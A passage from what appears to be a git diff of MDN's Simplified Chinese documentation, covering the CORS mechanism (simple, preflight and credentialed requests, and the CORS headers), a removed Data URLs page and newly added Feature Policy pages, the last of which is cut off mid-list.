出于安全性,浏览器限制脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。

+ +

+ +

跨源域资源共享( {{Glossary("CORS")}} )机制允许 Web 应用服务器进行跨源访问控制,从而使跨源数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 {{domxref("XMLHttpRequest")}} 或 Fetch )使用 CORS,以降低跨源 HTTP 请求所带来的风险。

+ +

谁应该读这篇文章?

+ +

说实话,每个人。

+ +

更具体地来讲,这篇文章适用于网站管理员、后端和前端开发者。现代浏览器处理跨源资源共享的客户端部分,包括HTTP头和相关策略的执行。但是这一新标准意味着服务器需要处理新的请求头和响应头。对于服务端的支持,开发者可以阅读补充材料 cross-origin sharing from a server perspective (with PHP code snippets)

+ +

什么情况下需要 CORS ?

+ +

这份 cross-origin sharing standard 允许在下列场景中使用跨站点 HTTP 请求:

+ + + +

本文概述了跨源资源共享机制及其所涉及的 HTTP 头。

+ +

功能概述

+ +

跨源资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 {{HTTPMethod("GET")}} 以外的 HTTP 请求,或者搭配某些 MIME 类型的 {{HTTPMethod("POST")}} 请求),浏览器必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨源请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。

+ +

CORS请求失败会产生错误,但是为了安全,在JavaScript代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。

+ +

接下来的内容将讨论相关场景,并剖析该机制所涉及的 HTTP 首部字段。

+ +

若干访问控制场景

+ +

这里,我们使用三个场景来解释跨源资源共享机制的工作原理。这些例子都使用 {{domxref("XMLHttpRequest")}} 对象。

+ +

本文中的 JavaScript 代码片段都可以从 http://arunranga.com/examples/access-control/ 获得。另外,使用支持跨源  {{domxref("XMLHttpRequest")}} 的浏览器访问该地址,可以看到代码的实际运行结果。

+ +

关于服务端对跨源资源共享的支持的讨论,请参见这篇文章: Server-Side_Access_Control (CORS)

+ +

简单请求

+ +

某些请求不会触发 CORS 预检请求。本文称这样的请求为“简单请求”,请注意,该术语并不属于 {{SpecName('Fetch')}} (其中定义了 CORS)规范。若请求满足所有下述条件,则该请求可视为“简单请求”:

+ +
    +
  • 使用下列方法之一: +
      +
    • {{HTTPMethod("GET")}}
    • +
    • {{HTTPMethod("HEAD")}}
    • +
    • {{HTTPMethod("POST")}}
    • +
    +
  • +
  • 除了被用户代理自动设置的首部字段(例如 {{HTTPHeader("Connection")}} ,{{HTTPHeader("User-Agent")}})和在 Fetch 规范中定义为 禁用首部名称 的其他首部,允许人为设置的字段为 Fetch 规范定义的 对 CORS 安全的首部字段集合。该集合为: +
      +
    • {{HTTPHeader("Accept")}}
    • +
    • {{HTTPHeader("Accept-Language")}}
    • +
    • {{HTTPHeader("Content-Language")}}
    • +
    • {{HTTPHeader("Content-Type")}} (需要注意额外的限制)
    • +
    • DPR
    • +
    • Downlink
    • +
    • Save-Data
    • +
    • Viewport-Width
    • +
    • Width
    • +
    +
  • +
  • {{HTTPHeader("Content-Type")}} 的值仅限于下列三者之一: +
      +
    • text/plain
    • +
    • multipart/form-data
    • +
    • application/x-www-form-urlencoded
    • +
    +
  • +
  • 请求中的任意{{domxref("XMLHttpRequestUpload")}} 对象均没有注册任何事件监听器;{{domxref("XMLHttpRequestUpload")}} 对象可以使用 {{domxref("XMLHttpRequest.upload")}} 属性访问。
  • +
  • 请求中没有使用 {{domxref("ReadableStream")}} 对象。
  • +
+ +
注意: 这些跨站点请求与浏览器发出的其他跨站点请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨站点请求的网站无需为这一新的 HTTP 访问控制特性担心。
+ +
注意: WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, and Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。
+ +

比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+
+ +

客户端和服务器之间使用 CORS 首部字段来处理权限:

+ +

+ +

分别检视请求报文和响应报文:

+ +
GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+
+ +

第 1~10 行是请求首部。第10行 的请求首部字段 {{HTTPHeader("Origin")}} 表明该请求来源于 http://foo.example

+ +

第 13~22 行是来自于 http://bar.other 的服务端响应。响应中携带了响应首部字段 {{HTTPHeader("Access-Control-Allow-Origin")}}(第 16 行)。使用 {{HTTPHeader("Origin")}} 和 {{HTTPHeader("Access-Control-Allow-Origin")}} 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://foo.example 的访问,该首部字段的内容如下:

+ +

Access-Control-Allow-Origin: http://foo.example

+ +

现在,除了 http://foo.example,其它外域均不能访问该资源(该策略由请求首部中的 ORIGIN 字段定义,见第10行)。Access-Control-Allow-Origin 应当为 * 或者包含由 Origin 首部字段所指明的域名。

+ +

预检请求

+ +

与前述简单请求不同,“需预检的请求”要求必须首先使用 {{HTTPMethod("OPTIONS")}}   方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。"预检请求“的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。

+ +

如下是一个需要执行预检请求的 HTTP 请求:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+
+ +

上面的代码使用 POST 请求发送一个 XML 文档,该请求包含了一个自定义的请求首部字段(X-PINGOTHER: pingpong)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。

+ +

+ +
OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+ +

预检请求完成之后,发送实际请求:

+ +
POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+<?xml version="1.0"?><person><name>Arun</name></person>
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]
+ +

浏览器检测到,从 JavaScript 中发起的请求需要被预检。从上面的报文中,我们看到,第 1~12 行发送了一个使用 OPTIONS 方法的“预检请求”。 OPTIONS 是 HTTP/1.1 协议中定义的方法,用以从服务器获取更多信息。该方法不会对服务器资源产生影响。 预检请求中同时携带了下面两个首部字段:

+ +
Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+ +

首部字段 {{HTTPHeader("Access-Control-Request-Method")}} 告知服务器,实际请求将使用 POST 方法。首部字段 {{HTTPHeader("Access-Control-Request-Headers")}} 告知服务器,实际请求将携带两个自定义请求首部字段:X-PINGOTHERContent-Type。服务器据此决定,该实际请求是否被允许。

+ +

第14~26 行为预检请求的响应,表明服务器将接受后续的实际请求。重点看第 17~20 行:

+ +
Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+ +

首部字段 Access-Control-Allow-Methods 表明服务器允许客户端使用 POST, GET OPTIONS 方法发起请求。该字段与 HTTP/1.1 Allow: response header 类似,但仅限于在需要访问控制的场景中使用。

+ +

首部字段 Access-Control-Allow-Headers 表明服务器允许请求中携带字段 X-PINGOTHER Content-Type Access-Control-Allow-Methods 一样,Access-Control-Allow-Headers 的值为逗号分割的列表。

+ +

最后,首部字段 Access-Control-Max-Age 表明该响应的有效时间为 86400 秒,也就是 24 小时。在有效时间内,浏览器无须为同一请求再次发起预检请求。请注意,浏览器自身维护了一个最大有效时间,如果该首部字段的值超过了最大有效时间,将不会生效。

+ +

预检请求与重定向

+ +

大多数浏览器不支持针对于预检请求的重定向。如果一个预检请求发生了重定向,浏览器将报告错误:

+ +
+

The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight

+
+ +
+

Request requires preflight, which is disallowed to follow cross-origin redirect

+
+ +

CORS 最初要求该行为,不过在后续的修订中废弃了这一要求

+ +

在浏览器的实现跟上规范之前,有两种方式规避上述报错行为:

+ +
    +
  • 在服务端去掉对预检请求的重定向;
  • +
  • 将实际请求变成一个简单请求。
  • +
+ +

如果上面两种方式难以做到,我们仍有其他办法:

+ + + +

不过,如果请求是由于存在 Authorization 字段而引发了预检请求,则这一方法将无法使用。这种情况只能由服务端进行更改。

+ +

附带身份凭证的请求

+ +

{{domxref("XMLHttpRequest")}} 或 Fetch 与 CORS 的一个有趣的特性是,可以基于  HTTP cookies 和 HTTP 认证信息发送身份凭证。一般而言,对于跨源 {{domxref("XMLHttpRequest")}} 或 Fetch 请求,浏览器不会发送身份凭证信息。如果要发送凭证信息,需要设置 XMLHttpRequest 的某个特殊标志位。

+ +

本例中,http://foo.example 的某脚本向 http://bar.other 发起一个GET 请求,并设置 Cookies:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+ +

第 7 行将 XMLHttpRequest 的 withCredentials 标志设置为 true,从而向服务器发送 Cookies。因为这是一个简单 GET 请求,所以浏览器不会对其发起“预检请求”。但是,如果服务器端的响应中未携带 Access-Control-Allow-Credentials: true ,浏览器将不会把响应内容返回给请求的发送者。

+ +

+ +

客户端与服务器端交互示例如下:

+ +
GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+ +

即使第 10 行指定了 Cookie 的相关信息,但是,如果 bar.other 的响应中缺失 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true(第 17 行),则响应内容不会返回给请求的发起者。

+ +

附带身份凭证的请求与通配符

+ +

对于附带身份凭证的请求,服务器不得设置 Access-Control-Allow-Origin 的值为“*”。

+ +

这是因为请求的首部中携带了 Cookie 信息,如果 Access-Control-Allow-Origin 的值为“*”,请求将会失败。而将 Access-Control-Allow-Origin 的值设置为 http://foo.example,则请求将成功执行。

+ +

另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。

+ +

第三方 cookies

+ +

注意在 CORS 响应中设置的 cookies 适用一般性第三方 cookie 策略。在上面的例子中,页面是在 `foo.example` 加载,但是第 20 行的 cookie 是被 `bar.other` 发送的,如果用户设置其浏览器拒绝所有第三方 cookies,那么将不会被保存。

+ +

HTTP 响应首部字段

+ +

本节列出了规范所定义的响应首部字段。上一小节中,我们已经看到了这些首部字段在实际场景中是如何工作的。

+ +

Access-Control-Allow-Origin

+ +

响应首部中可以携带一个 {{HTTPHeader("Access-Control-Allow-Origin")}} 字段,其语法如下:

+ +
Access-Control-Allow-Origin: <origin> | *
+
+ +

其中,origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。

+ +

例如,下面的字段值将允许来自 http://mozilla.com 的请求:

+ +
Access-Control-Allow-Origin: http://mozilla.com
+ +

如果服务端指定了具体的域名而非“*”,那么响应首部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。

+ +

Access-Control-Expose-Headers

+ +

译者注:在跨源访问时,XMLHttpRequest对象的getResponseHeader()方法只能拿到一些最基本的响应头,Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果要访问其他头,则需要服务器设置本响应头。

+ +

{{HTTPHeader("Access-Control-Expose-Headers")}} 头让服务器把允许浏览器访问的头放入白名单,例如:

+ +
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+
+ +

这样浏览器就能够通过getResponseHeader访问X-My-Custom-Header和 X-Another-Custom-Header 响应头了。

+ +

Access-Control-Max-Age

+ +

{{HTTPHeader("Access-Control-Max-Age")}} 头指定了preflight请求的结果能够被缓存多久,请参考本文在前面提到的preflight例子。

+ +
Access-Control-Max-Age: <delta-seconds>
+
+ +

delta-seconds 参数表示preflight请求的结果在多少秒内有效。

+ +

Access-Control-Allow-Credentials

+ +

{{HTTPHeader("Access-Control-Allow-Credentials")}} 头指定了当浏览器的credentials设置为true时是否允许浏览器读取response的内容。当用在对preflight预检测请求的响应中时,它指定了实际的请求是否可以使用credentials。请注意:简单 GET 请求不会被预检;如果对此类请求的响应中不包含该字段,这个响应将被忽略掉,并且浏览器也不会将相应内容返回给网页。

+ +
Access-Control-Allow-Credentials: true
+
+ +

上文已经讨论了附带身份凭证的请求

+ +

Access-Control-Allow-Methods

+ +

{{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段用于预检请求的响应。其指明了实际请求所允许使用的 HTTP 方法。

+ +
Access-Control-Allow-Methods: <method>[, <method>]*
+
+ +

相关示例见这里

+ +

Access-Control-Allow-Headers

+ +

{{HTTPHeader("Access-Control-Allow-Headers")}} 首部字段用于预检请求的响应。其指明了实际请求中允许携带的首部字段。

+ +
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
+
+ +

HTTP 请求首部字段

+ +

本节列出了可用于发起跨源请求的首部字段。请注意,这些首部字段无须手动设置。 当开发者使用 XMLHttpRequest 对象发起跨源请求时,它们已经被设置就绪。

+ +

Origin

+ +

{{HTTPHeader("Origin")}} 首部字段表明预检请求或实际请求的源站。

+ +
Origin: <origin>
+
+ +

origin 参数的值为源站 URI。它不包含任何路径信息,只是服务器名称。

+ +
Note: 有时候将该字段的值设置为空字符串是有用的,例如,当源站是一个 data URL 时。
+ +

注意,在所有访问控制请求(Access control request)中,{{HTTPHeader("Origin")}} 首部字段总是被发送。

+ +

Access-Control-Request-Method

+ +

{{HTTPHeader("Access-Control-Request-Method")}} 首部字段用于预检请求。其作用是,将实际请求所使用的 HTTP 方法告诉服务器。

+ +
Access-Control-Request-Method: <method>
+
+ +

相关示例见这里

+ +

Access-Control-Request-Headers

+ +

{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段用于预检请求。其作用是,将实际请求所携带的首部字段告诉服务器。

+ +
Access-Control-Request-Headers: <field-name>[, <field-name>]*
+
+ +

相关示例见这里

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}New definition; supplants CORS specification.
{{SpecName('CORS')}}{{Spec2('CORS')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+ +

+ +
    +
  • IE 10 提供了对规范的完整支持,但在较早版本(8 和 9)中,CORS 机制是借由 XDomainRequest 对象完成的。
  • +
  • Firefox 3.5 引入了对 XMLHttpRequests 和 Web 字体的跨源支持(但最初的实现并不完整,这在后续版本中得到完善);Firefox 7 引入了对 WebGL 贴图的跨源支持;Firefox 9 引入了对 drawImage 的跨源支持。
  • +
+ +

参见

+ + + +

{{ languages( { "ja": "ja/HTTP_access_control" } ) }}

diff --git a/files/zh-cn/web/http/data_uris/index.html b/files/zh-cn/web/http/data_uris/index.html deleted file mode 100644 index 5153482967..0000000000 --- a/files/zh-cn/web/http/data_uris/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Data URLs -slug: Web/HTTP/data_URIs -tags: - - Base64 - - HTTP - - URL - - 教程 - - 进阶 -translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs ---- -
{{HTTPSidebar}}
- -

Data URLs,即前缀为 data: 协议的URL,其允许内容创建者向文档中嵌入小文件。

- -

语法

- -

Data URLs 由四个部分组成:前缀(data:)、指示数据类型的MIME类型、如果非文本则为可选的base64标记、数据本身:

- -
data:[<mediatype>][;base64],<data>
-
- -

mediatype 是个 MIME 类型的字符串,例如 "image/jpeg" 表示 JPEG 图像文件。如果被省略,则默认值为 text/plain;charset=US-ASCII

- -

如果数据是文本类型,你可以直接将文本嵌入 (根据文档类型,使用合适的实体字符或转义字符)。如果是二进制数据,你可以将数据进行base64编码之后再进行嵌入。

- -

下面是一些示例:

- -
-
data:,Hello%2C%20World!
-
简单的 text/plain 类型数据
-
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
-
上一条示例的 base64 编码版本
-
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
-
一个HTML文档源代码 <h1>Hello, World</h1>
-
data:text/html,<script>alert('hi');</script>
-
一个会执行 JavaScript alert 的 HTML 文档。注意 script 标签必须封闭。
-
- -

给数据作 base64 编码

- -

在Linux或者Mac OS系统上,你可以使用 uuencode 命令行工具来简单实现编码:

- -
uuencode -m infile remotename
-
- -

infile 参数表示要作 base64编码的文件名称,remotename 参数表示输出的文件名称, 实际上并没有在 data 方案的URLs 中使用。

- -

输出结果如下:

- -
begin-base64 664 test
-YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
-====
-
- -

以上 Data URL 会使用位于首行之后的编码后的数据

- -

在网页上使用 JavaScript

- -

Web APIs 已经有对 base64 进行编码解码的方法: Base64 encoding and decoding.

- -

常见问题

- -

下文介绍一些在使用data URIs时遇到的常见问题:

- -
-
语法
-
data URLs 的格式很简单,但很容易会忘记把逗号加在 "data" 协议名后面,在对数据进行 base64 编码时也很容易发生错误。
-
HTML代码格式化
-
一个 data URL 是一个文件中的文件,相对于文档来说这个文件可能就非常的长。因为 data URL 也是 URL,所以 data 会用空白符(换行符, 制表符, 空格)来对它进行格式化。但如果数据是经过 base64 编码的,就可能会遇到一些问题
-
长度限制
-
虽然 Firefox 支持无限长度的 data URLs,但是标准中并没有规定浏览器必须支持任意长度的 data URIs。比如,Opera 11浏览器限制 URLs 最长为 65535 个字符,这意味着 data URLs 最长为 65529 个字符(如果你使用纯文本 data:, 而不是指定一个 MIME 类型的话,那么 65529 字符长度是编码后的长度,而不是源文件)。
-
缺乏错误处理
-
MIME类型错误或者base64编码错误,都会造成data URIs无法被正常解析, 但不会有任何相关错误提示.
-
不支持查询字符串
-
-

一个data URI的数据字段是没有结束标记的,所以尝试在一个data URI后面添加查询字符串会导致,查询字符串也一并被当作数据字段.例如:

- -
data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
-
- -

这个 data URL 代表的 HTML 源文件内容为:

- -
lots of text...<p><a name="bottom">bottom</a>?arg=val
-
-
-
- -

浏览器兼容性

- -

{{compat("http.data-url")}}

- -

Specifications

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("2397")}}The "data" URL scheme
- -

相关链接

- - diff --git a/files/zh-cn/web/http/feature_policy/index.html b/files/zh-cn/web/http/feature_policy/index.html new file mode 100644 index 0000000000..90e83fb04a --- /dev/null +++ b/files/zh-cn/web/http/feature_policy/index.html @@ -0,0 +1,153 @@ +--- +title: Feature Policy +slug: Web/HTTP/策略特征 +translation_of: Web/HTTP/Feature_Policy +--- +
{{SeeCompatTable}}{{HTTPSidebar}}
+ +

特征策略允许web开发者在浏览器中选择启用、禁用和修改确切特征和 API 的行为.比如{{Glossary("CSP","内容安全策略")}},但是它控制的是浏览器的特征非安全行为.

+ +

概述

+ +

特征策略提供了一种机制去声明哪些功能通过你的网络,是可以被用的(或者不被使用的)。这就允许你通过功能可用性来很好的锁定功能,即使代码很老,或者包含第三方的内容。

+ +

有了功能策略,你可以选择一组“策略”,让浏览器强制执行整个网站使用的特定功能。这些策略限制了站点可以访问哪些api,或者修改浏览器对某些特性的默认行为

+ +

使用特性策略可以做什么的示例?:

+ +
    +
  • 改变手机和第三方视频自动播放的默认行为.
  • +
  • 限制网站使用敏感的api,如摄像头或麦克风.
  • +
  • +

    允许iframes使用全屏API.

    +
  • +
  • +

    阻止使用过时的api,比如 synchronous XHR 和 {{domxref("document.write()")}}.

    +
  • +
  • 确保图像的大小正确,对于视口来说不会太大.
  • +
+ +

概念和用法

+ +

特性策略允许您在顶级页面和嵌入式框架中控制哪些源可以使用哪些特性。实际上,您编写了一个策略,它是每个特性允许的起源列表。对于由特性策略控制的每个特性,只有当它的起源与允许的起源列表匹配时,该特性才会在当前文档或框架中启用.

+ +

对于每个策略控制的功能,浏览器都会维护启用该功能的来源列表,称为允许列表。如果您未为功能指定策略,则将使用默认的允许列表。默认的许可列表特定于每个功能.

+ +

编写策略

+ +

使用一组单独的策略指令来描述策略。策略指令是已定义功能名称和可以使用该功能的来源的允许列表的组合.

+ +

指定策略

+ +

功能策略提供了两种方法来指定用于控制功能的策略:

+ +
    +
  •  {{httpheader('Feature-Policy')}} HTTP 报文头.
  • +
  • 在{{HTMLElement('iframe','allow','#Attributes')}} iframes 之上的属性.
  • +
+ +

HTTP标头和allow属性之间的主要区别在于allow属性仅控制iframe中的功能。标头控制响应中的功能以及页面内的任何嵌入式内容.

+ +

点此链接查看更多详细信息 Using Feature Policy.

+ +

策略控制功能的类型

+ +

尽管功能策略使用一致的语法提供了对多个功能的控制,但是策略控制功能的行为却有所不同,并取决于多个因素.

+ +

一般原则是,Web开发人员应该有一种直观或不间断的方式来检测或处理禁用该功能的情况。新引入的功能可能具有显示状态的显式API。稍后与功能策略集成的现有功能通常将使用现有机制。一些方法包括:

+ +
    +
  • 对于需要用户权限授予的JavaScript API,返回“权限被拒绝(permission denied)”.
  • +
  • 从提供功能访问权限的现有JavaScript API返回falseerror.
  • +
  • 更改控制功能行为的默认值或选项.
  • +
+ +

当前的一组策略控制功能可分为两大类:

+ +
    +
  • 实施最佳实践以获得良好的用户体验.
  • +
  • 提供对敏感或强大功能的精细控制.
  • +
+ +

良好用户体验的最佳实践

+ +

有几种策略控制的功能可帮助实施最佳实践,以提供良好的性能和用户体验.

+ +

在大多数情况下,策略控制的功能代表的功能在使用时会对用户体验产生负面影响。为避免破坏现有的Web内容,此类策略控制功能的默认设置是允许所有来源使用该功能。然后,通过使用禁用策略控制功能的策略来实施最佳实践。有关更多详细信息,请参见“实施最佳实践以提供良好的用户体验”.

+ +

功能包括:

+ +
    +
  • Layout-inducing 动画
  • +
  • 传统的图像格式
  • +
  • 超大号的图片
  • +
  • 同步脚本
  • +
  • 同步 XMLHTTPRequest
  • +
  • 为优化的图像
  • +
  • 大小不一的媒体
  • +
+ +

精细控制某些功能

+ +

Web提供的功能和API如果被滥用,可能会带来隐私或安全风险。在某些情况下,您可能希望严格限制在网站上使用此类功能的方式。有策略控制的功能,允许针对网站中的特定来源或框架启用/禁用功能。该功能在可用时与Permissions API或特定于功能的机制集成在一起,以检查该功能是否可用.

+ +

功能包括:

+ +
    +
  • 加速器
  • +
  • 环境光源感测器
  • +
  • 自动播放
  • +
  • 摄像功能
  • +
  • 加密媒体信息
  • +
  • 全屏功能
  • +
  • 地理定位
  • +
  • 陀螺仪
  • +
  • 延迟加载
  • +
  • 麦克风
  • +
  • Midi
  • +
  • 支付请求
  • +
  • 画中画(Picture-in-picture)
  • +
  • 扬声器
  • +
  • USB
  • +
  • VR / XR
  • +
+ +

更多示例

+ + + +

规范

+ + + + + + + + + + + + + + +
说明书状态描述
{{SpecName('Feature Policy','#feature-policy-http-header-field','Feature-Policy')}}{{Spec2('Feature Policy')}}初始化前定义 {{httpheader('Feature-Policy')}} 头. 规范中定义了指令所控制的特性. 有关详细信息,请参阅个别指令页面.
+ +

浏览器兼容性

+ + + +

{{Compat("http.headers.Feature-Policy")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html b/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html new file mode 100644 index 0000000000..9a37fa46f3 --- /dev/null +++ b/files/zh-cn/web/http/feature_policy/using_feature_policy/index.html @@ -0,0 +1,140 @@ +--- +title: Using Feature Policy +slug: Web/HTTP/策略特征/Using_Feature_Policy +translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy +--- +
{{HTTPSidebar}} {{SeeCompatTable}}
+ +

Feature Policy allows you to control which origins can use which features, both in the top-level page and in embedded frames. Essentially, you write a policy, which is an allowed list of origins for each feature. For every feature controlled by Feature Policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.

+ +

For each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature.

+ +

Writing a policy

+ +

A policy is described using a set of individual policy directives. A policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature.

+ +

allowlist

+ +

allowlist可以使用以下一个或多个值。

+ +
    +
  • *: 允许在当前文档和所有包含的内容(比如iframes)中使用本特性。
  • +
  • 'self': 允许在当前文档中使用本特性,但在包含的内容(比如iframes)仍使用原值。
  • +
  • 'src': (只在iframe中允许) 只要在{{HTMLElement('iframe','src','#Attributes')}} 中的URL和加载iframe用的URL相同,则本特性在iframe中允许,
  • +
  • 'none': 从最上层到包含的内容都禁止本特性。
  • +
  • <origin(s)>: 在特定的源中允许,源URL以空格分割。
  • +
